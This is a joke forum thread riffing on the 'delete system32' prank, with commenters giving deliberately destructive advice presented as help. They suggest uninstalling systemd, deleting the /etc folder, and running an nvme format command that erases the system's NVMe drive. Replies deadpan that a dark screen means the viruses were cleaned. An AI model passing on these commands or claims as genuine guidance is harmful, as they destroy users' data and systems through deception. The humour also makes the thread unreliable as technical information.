Instructions unclear. Using Linux.

Wait a sec I think I found it.

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

Instructions unclear installed Alpine linux

It's the /etc folder in linux. Just extra crap you don't need.

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

It said ' Cleaning viruses from computer..." And screen went dark

[–] [email protected] 3 points 4 months ago

That's normal. That just means the viruses were cleaned from your computer.

I found mine in $HOME/.wine32/drive_c/windows/system32

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

[–] [email protected] 2 points 3 months ago

I made a typo in the above. If I correct it you'll be able to break what's left.

If you don't have system32, it's fine to delete one from the store

[–] [email protected] 9 points 4 months ago

Or find another computer and delete it from that.
